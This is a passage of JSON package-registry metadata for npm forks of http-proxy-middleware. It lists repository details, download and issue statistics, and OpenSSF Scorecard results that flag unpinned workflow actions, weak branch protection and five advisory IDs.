merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.379Z","dependent_packages_count":0,"downloads":38,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":25.708411878634113,"dependent_packages_count":37.266793623783926,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":31.487602751209018},"purl":"pkg:npm/%40wrule/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@wrule/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@wrule/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@wrule/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@wrule%2Fhttp-proxy-middleware/codemeta","maintainers":[{"uuid":"wrule","login":"wrule","name":null,"email":"1982775886@qq.com","url":null,"packages_count":38,"html_url":"https://www.npmjs.com/~wrule","role":null,"created_at":"2024-10-12T04:45:12.756Z","updated_at":"2024-10-12T04:45:12.756Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/wrule/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5666668,"maintainers_count":1207881,"namespaces_count":399623,"keywords_count":847874,"github":"npm","metadata":{"funded_packages_count":171745},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-06-10T05:11:46.456Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":1326486,"name":"@tuia/http-proxy-middleware","ecosystem":"npm","description":"fork from http-proxy-middleware. Support Dynamic target","homepage":"https://github.com/chimurai/http-proxy-middleware","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/chimurai/http-proxy-middleware","keywords_array":["reverse","proxy","middleware","http","https","connect","express","browser-sync","gulp","grunt-contrib-connect","websocket","ws","cors"],"namespace":"tuia","versions_count":1,"first_release_published_at":"2018-12-29T08:37:49.178Z","latest_release_published_at":"2018-12-29T08:37:49.178Z","latest_release_number":"1.0.0","last_synced_at":"2026-07-10T15:03:11.802Z","created_at":"2022-04-08T21:07:53.359Z","updated_at":"2026-07-10T15:03:11.803Z","registry_url":"https://www.npmjs.com/package/@tuia/http-proxy-middleware","install_command":"npm install @tuia/http-proxy-middleware","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"1.0.0"}},"repo_metadata":{"id":28698813,"uuid":"32219142","full_name":"chimurai/http-proxy-middleware","owner":"chimurai","description":":zap: The one-liner node.js http-proxy middleware for connect, express, next.js and more","archived":false,"fork":false,"pushed_at":"2026-06-27T18:48:14.000Z","size":4416,"stargazers_count":11132,"open_issues_count":22,"forks_count":881,"subscribers_count":113,"default_branch":"master","last_synced_at":"2026-06-29T01:19:25.768Z","etag":null,"topics":["browser-sync","connect","express","fastify","hono","http-proxy","httpxy","javascript","middleware","nextjs","node","nodejs","polka","proxy","proxy-middleware","websocket"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/chimurai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2015-03-14T15:45:55.000Z","updated_at":"2026-06-27T18:48:18.000Z","dependencies_parsed_at":"2024-01-29T07:26:28.290Z","dependency_job_id":"c2a3f314-ac82-4c44-9219-3b82cbfa0f8e","html_url":"https://github.com/chimurai/http-proxy-middleware","commit_stats":{"total_commits":439,"total_committers":40,"mean_commits":10.975,"dds":0.4829157175398633,"last_synced_commit":"77f320e4dca8247167471393dcbce2b1e333b7cf"},"previous_names":[],"tags_count":87,"template":false,"template_full_name":null,"purl":"pkg:github/chimurai/http-proxy-middleware","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/chimurai","download_url":"https://codeload.github.com/chimurai/http-proxy-middleware/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/sbom","scorecard":{"id":277788,"data":{"date":"2025-08-11","repo":{"name":"github.com/chimurai/http-proxy-middleware","commit":"e7ae0098ebdbbdf77c0c23e84d2208cb7fc35cea"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4,"checks":[{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/publish.yml:11","Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Warn: no topLevel permission defined: .github/workflows/publish.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":6,"reason":"8 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:194: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:195: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:11: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:40: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:100: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:102: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:106: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:134: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:136: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:140: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:164: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:166: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:170: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:186: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/ci.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:14: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/publish.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/chimurai/http-proxy-middleware/publish.yml/master?enable=pin","Info:   0 out of  21 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/publish.yml:6"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":1,"reason":"branch protection is not maximal on development and all release branches","details":["Warn: branch protection not enabled for branch '2.x'","Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Info: 'branch protection settings apply to administrators' is required to merge on branch 'master'","Warn: 'stale review dismissal' is disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Warn: 'last push approval' is disabled on branch 'master'","Info: status check found to merge onto on branch 'master'","Info: PRs are required in order to make changes on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":5,"reason":"5 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-968p-4wvh-cqc8","Warn: Project is vulnerable to: GHSA-xffm-g5w8-qvg7","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-52f5-9888-hmc6"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T14:57:40.637Z","repository_id":28698813,"created_at":"2025-08-17T14:57:40.637Z","updated_at":"2025-08-17T14:57:40.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34914647,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-29T02:00:05.398Z","response_time":58,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-07-07T06:22:17.094Z","dependent_packages_count":1,"downloads":24,"downloads_period":"last-month","dependent_repos_count":1,"rankings":{"downloads":54.96328260446348,"dependent_repos_count":10.769523647389562,"dependent_packages_count":21.318711782054763,"stargazers_count":1.0448405337976685,"forks_count":1.3457785569223177,"docker_downloads_count":null,"average":17.88842742492556},"purl":"pkg:npm/%40tuia/http-proxy-middleware","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@tuia/http-proxy-middleware","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@tuia/http-proxy-middleware","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@tuia/http-proxy-middleware/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-18T20:26:59.603Z","issues_count":141,"pull_requests_count":285,"avg_time_to_close_issue":13293581.985074626,"avg_time_to_close_pull_request":4164601.252,"issues_closed_count":67,"pull_requests_closed_count":250,"pull_request_authors_count":43,"issue_authors_count":134,"avg_comments_per_issue":4.6879432624113475,"avg_comments_per_pull_request":1.4456140350877194,"merged_pull_requests_count":204,"bot_issues_count":0,"bot_pull_requests_count":16,"past_year_issues_count":14,"past_year_pull_requests_count":43,"past_year_avg_time_to_close_issue":1199106.0,"past_year_avg_time_to_close_pull_request":238577.41666666666,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":36,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":13,"past_year_avg_comments_per_issue":1.3571428571428572,"past_year_avg_comments_per_pull_request":2.0697674418604652,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":34,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/chimurai%2Fhttp-proxy-middleware/issues","maintainers":[{"login":"chimurai","count":206,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}],"active_maintainers":[{"login":"chimurai","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/chimurai"}]},"versions_url":"htt